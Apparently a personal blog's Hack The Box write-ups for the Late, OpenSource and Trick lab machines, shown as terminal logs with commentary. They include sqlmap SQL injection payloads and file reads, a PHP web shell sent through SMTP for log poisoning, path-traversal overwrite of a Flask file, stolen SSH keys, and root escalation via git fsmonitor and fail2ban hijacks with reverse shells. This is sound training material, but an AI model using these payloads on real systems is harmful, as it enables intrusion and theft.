┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/haxez/.ssh/id_rsa): /home/haxez/sshkey Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/haxez/sshkey Your public key has been saved in /home/haxez/sshkey.pub The key fingerprint is: SHA256:AMh1NoU5ILMkOIyR8waY6+WmGLt90qrVzFDXqBwSsG4 haxez@parrot The key's randomart image is: +---[RSA 3072]----+ |O*=o+.++. | |X=o= +++ | |.*o o +.. | |o o= + . | |.E+ o S | |o. B | |.o+.+ | |o+. o | |ooo+ | +----[SHA256]-----+
With access to the box via SSH it was time for enumeration. After performing some searches I discovered a file called ‘ssh-alert.sh’. The permissions of the file suggested we had full ownership of it but for some reason, I was unable to write to it. Well, it turns out that there are other permissions (that I need to read about) that meant I could only append to the file.
Anyway, it turns out that this script is executed whenever someone logs in or out of SSH. It’s also executed by root. So we append a reverse shell to the end of the script and then log out of SSH.
We get a shell as root and are finally able to finish the box.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.14.126] from (UNKNOWN) [10.129.243.130] 51220 bash: cannot set terminal process group (2864): Inappropriate ioctl for device bash: no job control in this shell root@late:/# cat /root/root.txt cat /root/root.txt 998▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓7ea
Late Review
The concept was awesome, but the execution was terrible. Initially, I had a lot of fun creating image payloads and thought that this was an amazing box for doing something different. 40 images later and the novelty had worn out and I wanted to quit. I didn’t learn anything from it that’s the problem. It was an exercise in persistence. As Einstein once said:
Insanity is doing the same thing over and over and expecting different results.
Albert Einstein
Is this what hacking is supposed to be? brute-forcing something repeatedly until it works? Perhaps I don’t have the patience for this after all. I know it’s not, I’m being cynical. The privilege escalation was good but by the time I got to do it, I was so fed up that I didn’t care.
Hello world and welcome to haxez, I’m back on my daily hacking spree and this time I’m looking at the easy Hack The Box machine OpenSource. These writeups are not meant to be walkthroughs, they are to document my journey. I may get frustrated, and angry along the way but hopefully, I will root the box and learn something new.
OpenSource Enumeration
To start enumerating the box, we use our tried and tested old faithful tool of Nmap. As you can see from the output below, we have ports 22, 80 and 3000 open. If I didn’t already know that this was a Linux box then the ports would be a giveaway. Please note, I’ve snipped out some of the output in order to keep it looking neat.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource] └──╼ [★]$ sudo nmap -sC -sV -p- -A 10.129.227.140 [sudo] password for haxez: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 07:18 GMT Nmap scan report for 10.129.227.140 Host is up (0.013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 1e59057ca958c923900f7523823d055f (RSA) | 256 48a853e7e008aa1d968652bb8856a0b7 (ECDSA) |_ 256 021f979e3c8e7a1c7caf9d5a254bb8c8 (ED25519) 80/tcp open http Werkzeug/2.1.2 Python/3.10.3 |_http-server-header: Werkzeug/2.1.2 Python/3.10.3 |_http-title: upcloud - Upload files for Free! | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/2.1.2 Python/3.10.3 | Date: Wed, 15 Mar 2023 07:19:07 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 5316 | Connection: close | <html lang="en"> | <head> | <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p> | </body> |_ </html> 3000/tcp filtered ppp Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 111/tcp) HOP RTT ADDRESS 1 11.64 ms 10.10.14.1 2 11.86 ms 10.129.227.140 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 113.68 seconds
Whats UpCloud?
Do you like UpCloud? Whats UpCloud? doesn’t quite work. Anyway, the web application appears to be advertising some type of file upload/transfer service. The download button allows us to download what appears to be the source code of the application. The take me there button takes us to a live version of the application.
OpenSource Code Analysis
So rather than poke at the application, I’m going to look at the source code. The answers to getting a foothold are likely to be found in the source code. Also, the video I’m watching to assist me is looking at the source code too. We can see that it is using docker.
A quick look at the Dockerfile suggests the image is Python:3-Alpine. I’ve done a few containers escapes before. I wonder if this is where we’re heading with this. Since docker is running on the host, it makes sense for us to use it to perform the privilege escalation.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource] └──╼ [★]$ head Dockerfile FROM python:3-alpine # Install packages RUN apk add --update --no-cache supervisor # Upgrade pip RUN python -m pip install --upgrade pip # Install dependencies RUN pip install Flask
Change History
I’m not overly familiar with using git outside of using it to clone repositories. It’s something I need to improve upon especially since you can do cool forensic stuff like we’re about to. Can you do git log on any repository you clone? can you also do git show and git checkout on any repository? That’s great but also terrifying. Think of all the hidden credentials or private keys that are hidden in previous iterations of someone’s code.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource] └──╼ [★]$ git log commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public) Author: gituser <gituser@local> Date: Thu Apr 28 13:55:55 2022 +0200 clean up dockerfile for production use commit ee9d9f1ef9156c787d53074493e39ae364cd1e05 Author: gituser <gituser@local> Date: Thu Apr 28 13:45:17 2022 +0200 initial
Let’s take a look at the changes made to the most recent commit. From the output below we can see that a few changes were made including setting the environment to production. I’m not sure if this allowed the Wizard to deduce there was a dev branch, or whether there is always a dev branch. I’m going to assume the latter until I read about it later.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource] └──╼ [★]$ git show 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public) Author: gituser <gituser@local> Date: Thu Apr 28 13:55:55 2022 +0200 clean up dockerfile for production use diff --git a/Dockerfile b/Dockerfile index 76c7768..5b0553c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -29,7 +29,6 @@ ENV PYTHONDONTWRITEBYTECODE=1 # Set mode ENV MODE="PRODUCTION" -# ENV FLASK_DEBUG=1 # Run supervisord CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Let’s get the dev branch and view the change history there. We can see that there have been a number of commits. Perhaps going through these will tell us a story about how the application was built. Maybe, there could even be some hard-coded credentials or something.
According to the Wizard, there is a vulnerability in the following line of code. If you place a forward slash in front of a directory, it will cancel out the initial directory. So, the code below should place us in public/uploads. However, as we control the name of the file we can change the directory. I will have to see it in action before I can understand what’s happening. Sounds interesting though.
Unfortunately, it does seem that there is some input sanitization going on. The screenshot below shows that the application is attempting to capture ‘../’ from the filename. Hopefully, this shouldn’t cause too much of a problem. Perhaps we could double it up to something like ‘….//’ so that it only strips out the first ‘../’. We will see.
OpenSource Exploit Development
Ok, this makes sense to me when watching the video. However, I would have had no idea that this is what you were supposed to do. We take the original views.py file and edit it to add a “command shell” I suppose. Like with PHP and Bash, I imagine this is the Python equivalent and something that I will get used to. We take the original views.py and we add the following section at the bottom.
Then we save the file and upload it via Burp. We can use the weakness in the file upload code (mentioned previously) to change directories and overwrite the existing file. So we save the file as views.py.
And then we use Burp to upload it and change the directory to that of the original file. The original directory was ‘/app/app/views.py which we can obtain from generating a file not found error on the application.
OpenSource Foothold Proof Of Concept
I thought this was an extremely cool method of getting command execution. However, I wouldn’t have known what to do myself so I have learned a lot. I definitely need to be more confident when reviewing code. It exploits the file upload weakness to upload a malicious file and gives us command execution.
As you can see from the image below, we have changed the name of the file to ‘/app/app/views.py’. Now, when the file gets uploaded, it should overwrite the original ‘/app/app/views.py’ with our malicious file. Once it is uploaded, we should have command execution.
With the file uploaded, we can pass commands to the URL in order to run them. For example, I can run the following ‘whoami’ command by visiting ‘http://<target IP>/run/whoami and shockingly we can see that the application is running as root. However, this is probably going to be ‘root’ inside the docker container. We likely have a long way to go still.
OpenSouce Foothold Exploit
We’re now going to add another function to the views.py application. This function is going to be a reverse shell that lets it submit our IP address as an argument. I grabbed a Python payload from PayloadAllTheThings and modified it so that it would work with the existing code. Obviously, I was just copying everything that the Wizard was doing.
We can then go back to Repeater in Burpsuite and add our code to the bottom of the request and resend it. If it comes back with a 200 we should be good, if it errors then remove the changes, send the request to update it and try again.
Then start a listener on the port you chose (in my case 1337, because of course).
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource] └──╼ [★]$ sudo nc -lvnp 1337 [sudo] password for haxez: listening on [any] 1337 ...
Then you visit the application route that you created in your browser and pass it your IP address. Unfortunately, it seems I got a socket error for some reason so I will need to go back and look at the code. Once, I’ve fixed that I will try again.
And I spotted my mistake, In the ‘s.connect((ip,10001))’ section, I still had the ‘ip’ in quotation marks. That makes sense. Ok, we now have a shell. Not a very good shell admittidly.
System Enumeration
This is a cool trick, after connecting to the host we can check the IP address and see that it is on a completely different range than the target. For example, the target IP for OpenSource is 10.129.227.140 but the IP returned in the shell is 172.17.0.8. This is a huge sign that we’re inside a container. We can further confirm this by using netcat to connect to the container host on port 22 via the first IP address in that range (like a default gateway I suppose).
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 24: eth0@if25: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP link/ether 02:42:ac:11:00:08 brd ff:ff:ff:ff:ff:ff inet 172.17.0.8/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever nc 172.17.0.1 22 SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7
Chiseling Through
Ok, so we’re on the container. We also know from our nmap scan that there was a port 3000. We can use a program called chisel to port forward the hosts port 3000 through our container so that we can access it locally. First, download the chisel program and use a python webserver to get it onto the docker container. Then on your attack box, start a server.
We now have a new website which we can access by visiting http://localhost:3000. It looks like a git-style version management portal. I’ve never heard of Gitea before but now I’m going to have to go and research it in my own time.
We can also see that the application has a login page. However, we don’t appear to have any credentials for it. Perhaps we can find them in the source code we downloaded earlier.
OpenSource Getting User
I need to speed this up as I’m supposed to be working but let’s break it down quickly. First, we need to change to a different thing by running git checkout.
Now we can grab the credentials from the settings.json file found in the hidden .vscode directory. We can use these credentials to login to the application.
Attempting to navigate to the backup repository gives us an error. We need to add the URL to our host file.
echo '127.0.0.1 opensource.htb' | sudo tee -a /etc/hosts
The developer backed up his home directory including his private key. We can steal this, pop it into a text document, give it 600 permissions and use it to SSH to the server. From here we should be able to grab the user flag to. This has been a long path to get to the user, I hope root is fairly straightforward.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ vim dev.key ┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ chmod 600 dev.key ┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ ssh -i dev.key [email protected] The authenticity of host '10.129.227.140 (10.129.227.140)' can't be established. ECDSA key fingerprint is SHA256:a6VljAI6pLD7/108ls+Bi5y88kWaYI6+V4lTU0KQsQU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.227.140' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed Mar 15 10:36:34 UTC 2023 System load: 0.03 Processes: 217 Usage of /: 75.6% of 3.48GB Users logged in: 0 Memory usage: 22% IP address for eth0: 10.129.227.140 Swap usage: 0% IP address for docker0: 172.17.0.1
16 updates can be applied immediately. 9 of these updates are standard security updates. To see these additional updates run: apt list --upgradable
Last login: Mon May 16 13:13:33 2022 from 10.10.14.23 dev01@opensource:~$ cat /home/dev01/user.txt e67▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓659
OpenSource Privilege Escalation
I downloaded a copy of pspy64 to the directory of my Python3 webserver. Then I used wget on the OpenSource target gox to download the file. I gave it executable permissions and ran it to see what processes were running. The following process stands out ‘/bin/bash /usr/local/bin/git-sync’.
Let’s take a look at this file. It seems that it is looking for changes in /home/dev01. If there are any changes then it performs a git commit.
dev01@opensource:/tmp$ ls -lash /usr/local/bin/git-sync 4.0K -rwxr-xr-x 1 root root 239 Mar 23 2022 /usr/local/bin/git-sync dev01@opensource:/tmp$ cat /usr/local/bin/git-sync #!/bin/bash cd /home/dev01/ if ! git status --porcelain; then echo "No changes" else day=$(date +'%Y-%m-%d') echo "Changes detected, pushing.." git add . git commit -m "Backup for ${day}" git push origin main fi
According to the official walkthrough, we can abuse this by adding a command to the .git/config file to give the /bin/bash binary SUID permissions so that it will automatically elevate us to root when we run it. Let’s give it a go. The following line needs to be added to the .git/config file, then the fsmonitor command will get executed when git commit is run.
fsmonitor = "chmod 4755 /bin/bash"
And that is that after waiting a moment you can list the ‘/bin/bash’ file and see that it now has the SUID bit set. You need only run the bash command to elevate to root and capture the root flag.
I had a lot of fun with this one and learnt a lot. I can honestly say though that I wouldn’t have had a clue what to do. The path to the user flag was very complicated. I realise the word ‘very’ is unessasary here but it was VERY complicated. We had to pivot through docker containers and learn how to use versioning in git. Wow. While I definitely don’t think this was easy, it was fun.
Hello world and welcome to haxez. I’m back, attempting to hack my way into the Hack The Box machine called Trick. It’s currently 7:00am on a Tuesday, I have work in a couple of hours but let’s see if we can smash this out before I have to go back to the 9–5. Please note, this isn’t a walkthrough. This is a retired machine write-up that I’m using to skill up.
Trick Enumeration
First, I pinged the box to make sure it was online and then ran a Nmap scan to see what services were listening. As you can see from the output below, SSH, SMTP, DNS and HTTP are open. Some ideas instantly sprang to mind such as enumerating users through SMTP and performing a DNS zone transfer.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sudo nmap -sC -sV -p- -O -A 10.129.245.209 -oA trick Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-14 07:05 GMT Stats: 0:02:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 75.00% done; ETC: 07:09 (0:00:51 remaining) Nmap scan report for 10.129.245.209 Host is up (0.013s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 61ff293b36bd9dacfbde1f56884cae2d (RSA) | 256 9ecdf2406196ea21a6ce2602af759a78 (ECDSA) |_ 256 7293f91158de34ad12b54b4a7364b970 (ED25519) 25/tcp open smtp? |_smtp-commands: Couldn't establish connection on port 25 53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux) | dns-nsid: |_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian 80/tcp open http nginx 1.14.2 |_http-title: Coming Soon - Start Bootstrap Theme |_http-server-header: nginx/1.14.2 Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5.0 OS details: Linux 5.0 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 5900/tcp) HOP RTT ADDRESS 1 12.44 ms 10.10.14.1 2 12.60 ms 10.129.245.209 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 254.61 seconds
Going in numerical order, I skipped over SSH because unless we brute force it, and have a password or private key, we aren’t getting in. I had a poke at SMTP but there was a weird delay when running commands. I believe I was able to VRFY the root user but I decided I would come back to this later if I needed to.
That left me with DNS. I used the dig command to query the server for the server’s IP address. The output below shows that the server has a zone file for the domain trick.htb.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ dig @10.129.245.209 -x 10.129.245.209 ; <<>> DiG 9.18.11-2~bpo11+1-Debian <<>> @10.129.245.209 -x 10.129.245.209 ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48616 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3 ;; WARNING: recursion requested but not available;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; COOKIE: 471a94ac095c0d0aa827a7e8641020d5aa7d0e001cec001a (good) ;; QUESTION SECTION: ;209.245.129.10.in-addr.arpa. IN PTR ;; ANSWER SECTION: 209.245.129.10.in-addr.arpa. 604800 IN PTR trick.htb. ;; AUTHORITY SECTION: 245.129.10.in-addr.arpa. 604800 IN NS trick.htb. ;; ADDITIONAL SECTION: trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 ;; Query time: 16 msec ;; SERVER: 10.129.245.209#53(10.129.245.209) (UDP) ;; WHEN: Tue Mar 14 07:23:02 GMT 2023 ;; MSG SIZE rcvd: 165
I added trick.htb to my host file.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sudo echo '10.129.245.209 trick.htb' | sudo tee -a /etc/hosts 10.129.245.209 trick.htb
As DNS TCP was open, I attempted to perform a zone transfer for trick.htb to see what other records there were in its zone file. The results below show the output of the host command. As you can see, there is a subdomain called preprod-payroll.trick.htb.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ host -t axfr trick.htb 10.129.245.209 Trying "trick.htb" Using domain server: Name: 10.129.245.209 Address: 10.129.245.209#53 Aliases: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47562 ;; flags: qr aa; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;trick.htb. IN AXFR ;; ANSWER SECTION: trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 trick.htb. 604800 IN NS trick.htb. trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 preprod-payroll.trick.htb. 604800 IN CNAME trick.htb. trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 Received 192 bytes from 10.129.245.209#53 in 13 ms
I added this to my host file too.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sudo echo '10.129.245.209 preprod-payroll.trick.htb' | sudo tee -a /etc/hosts 10.129.245.209 preprod-payroll.trick.htb
Walking The Websites
I visited the first website (trick.htb) and it didn’t appear that there was much there. It had an under-construction page.
I decided to skip further enumeration of this domain and visited the pre-production payroll website. If it’s pre-production then it’s still in development. If it’s still in development then it could have vulnerabilities. Not that production sites don’t have vulnerabilities but you know what I mean. As this page has a login form, but we don’t yet have credentials, I assume that it is vulnerable to SQL injection.
Running an initial SQLMap scan against the application shows that the login parameters are vulnerable to SQL Injection. I followed the official walkthrough for this. It’s extremely cool how we go from finding SQL Injection to being able to read files. We start with a regular SQL injection. You can see from the results below that it found a time-based attack.
Time-based attacks are slow we need to identify if there are any other methods that the server is vulnerable to. To do this we expand the techniques being used. As you can see below, we have now discovered that we have error-based and blind boolean-based SQL Injections.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --level 5 --risk 3 --technique=BEUS --batch ___ __H__ ___ ___[,]_____ ___ ___ {1.6.12#stable} |_ -| . ['] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=abc' OR NOT 5700=5700-- AlDN&password=abcType: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=abc' OR (SELECT 4426 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (ELT(4426=4426,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VaIS&password=abc
So, in the official write-up, the author then goes on to check the privileges afforded to the SQL server user. As you can see below, the user has FILE privilege which allows them to read files. We can use this to read files that the user has permission to read on the server.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick/] └──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --privileges ___ __H__ ___ ___[']_____ ___ ___ {1.6.12#stable} |_ -| . [)] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=abc' AND (SELECT 2307 FROM (SELECT(SLEEP(5)))gjOv) AND 'RZSQ'='RZSQ&password=abc Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=abc' OR NOT 5700=5700-- AlDN&password=abc Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=abc' OR (SELECT 4426 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (ELT(4426=4426,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VaIS&password=abc --- database management system users privileges: [*] 'remo'@'localhost' [1]: privilege: FILE
Using this method, we can retrieve the /etc/passwd file and see what users there are on the system. The more information we have the better.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --batch --file-read=/etc/passwd ___ __H__ ___ ___[(]_____ ___ ___ {1.6.12#stable} |_ -| . [,] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org--- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=abc' AND (SELECT 2307 FROM (SELECT(SLEEP(5)))gjOv) AND 'RZSQ'='RZSQ&password=abc Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=abc' OR NOT 5700=5700-- AlDN&password=abc Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=abc' OR (SELECT 4426 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (ELT(4426=4426,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VaIS&password=abc --- files saved to [1]: [*] /home/haxez/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd
We can also use this method to read the ‘/etc/nginx/sites-enabled/default’ file. Now we can see what other sites are hosted on the server. As you can see, we have found another domain preprod-marketing.trick.htb. By the way, I wouldn’t have thought to check this file, we are on our third domain. I probably would have given up if I couldn’t get in with SQLI.
Let’s echo that new subdomain/virtual host to our hosts’ file.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ echo '10.129.245.209 preprod-marketing.trick.htb' | sudo tee -a /etc/hosts 10.129.245.209 preprod-marketing.trick.htb
So, we can now visit this site and see what’s occurring. The image below shows the site and something interesting about the way it is retrieving the about page. As you can see below, rather than having a path to the file like “example.com/about.html” it is using a PHP parameter to retrieve the page. This is suspicious and it is likely performing a server-side include. Hopefully, we can exploit this to perform local file inclusion.
First, I attempted to grab the ‘/etc/passwd’ file using the standard ‘/../../../etc/passwd’. However, this didn’t work so I assumed that there was some type of filtering taking place. Next, I doubled down on this attack and doubled up our characters we are able to perform local file inclusion to get the /etc/passwd file. This is great but it doesn’t really get us anything. We can’t upload a shell to the server.
Do you want to see a magic trick? remember that SMTP port earlier? well, we can use it to write a shell that we can then call with the local file inclusion. Yeah, I was amazed by this. So we need to nc back to the SMTP port and craft an email.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ nc trick.htb 25 helo 220 debian.localdomain ESMTP Postfix (Debian/GNU) mail from: haxez 250 2.1.0 Ok rcpt to: michael 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> <?php system($_GET['cmd']); ?> . 250 2.0.0 Ok: queued as 4935F4099C
Next, we create our listener so that when our reverse shell comes back from our PHP Web Shell, it has a friend to talk to.
And finally, we run the command that tricks the system into connecting back to us. Then we should be able to use the PHP Web Shell to get a reverse shell. But, the instructions in the official walkthrough don’t work. This is a pretty common and unfortunate occurrence, unfortunately. You would expect the official walkthrough to be correct, wouldn’t you?
Moving On
It’s a shame that this didn’t work, I have read another article where the hacker used the same technique and it worked but I can’t replicate it. So instead of banging my frustrated face up against a brick wall, I’m going to take the easy path. I will come back to this one later. We have local file inclusion and we know there is a user called Michael. Surely the webserver doesn’t have permission to access Michale’s private key.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Trick] └──╼ [★]$ cd ~/ ┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ sudo vim ssh.key ┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ sudo chmod 600 ssh.key ┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ sudo ssh -i ssh.key [email protected] Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. michael@trick:~$
Trick Privilege Escalation
Ok, we now have access to the Michael user. We can run sudo -l and see what we can run. As you can see below, we can restart the fail2ban service as root without a password.
michael@trick:~$ sudo -l Matching Defaults entries for michael on trick: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restart
Ok, let’s take a look at the permissions within the fail2ban directory.
michael@trick:/etc/fail2ban$ ls -laSH total 76 -rw-r--r-- 1 root root 22908 Mar 14 10:18 jail.conf drwxr-xr-x 126 root root 12288 Mar 14 09:53 .. drwxr-xr-x 6 root root 4096 Mar 14 10:18 . drwxrwx--- 2 root security 4096 Mar 14 10:18 action.d drwxr-xr-x 2 root root 4096 Mar 14 10:18 fail2ban.d drwxr-xr-x 3 root root 4096 Mar 14 10:18 filter.d drwxr-xr-x 2 root root 4096 Mar 14 10:18 jail.d -rw-r--r-- 1 root root 2827 Mar 14 10:18 paths-common.conf -rw-r--r-- 1 root root 2334 Mar 14 10:18 fail2ban.conf -rw-r--r-- 1 root root 738 Mar 14 10:18 paths-opensuse.conf -rw-r--r-- 1 root root 645 Mar 14 10:18 paths-arch.conf -rw-r--r-- 1 root root 573 Mar 14 10:18 paths-debian.conf
The ‘action.d’ directory stands out as its group owner is security. Let’s check our group and see if we are in that group.
michael@trick:/etc/fail2ban$ id uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
Cool, what now? Apparently the iptables-multiport.conf has a command in it that gets run when a user gets banned. If we can modify this value then we can run our own command by triggering a ban. I presume that is what we’re meant to do. However, we can’t edit this file but we can move it.
michael@trick:/etc/fail2ban/action.d$ mv iptables-multiport.conf .old michael@trick:/etc/fail2ban/action.d$ cp .old iptables-multiport.conf michael@trick:/etc/fail2ban/action.d$ ls -l iptables-multiport.conf -rw-r--r-- 1 michael michael 1420 Mar 14 10:26 iptables-multiport.conf
This is wild, we now own the file but when we restart fail2ban, any commands in this file will still be executed as root right? I think. This is confusing.
Fail2ban to shell
Now we modify the ‘iptables-multiport.conf’ file and change ‘actionban’ value to /tmp/shell.sh. Then we create ‘shell.sh’ in /tmp which has a reverse shell back to our host.
michael@trick:/etc/fail2ban/action.d$ cd /tmp michael@trick:/tmp$ vim shell.sh michael@trick:/tmp$ chmod +x shell.sh michael@trick:/tmp$ sudo /etc/init.d/fail2ban restart [ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
We have now changed the behaviour of what happens when fail2ban tries to ban someone. Instead of banning them, it will launch our reverse shell. We can trigger this by brute-forcing SSH.
After a while, we get a shell back which we can use to capture the root flag.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sudo nc -lvnp 1337 [sudo] password for haxez: listening on [any] 1337 ... connect to [10.10.14.126] from (UNKNOWN) [10.129.245.222] 53330 bash: cannot set terminal process group (1799): Inappropriate ioctl for device bash: no job control in this shell root@trick:/# cat /root/root.txt cat /root/root.txt f8f▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓694
Trick Review
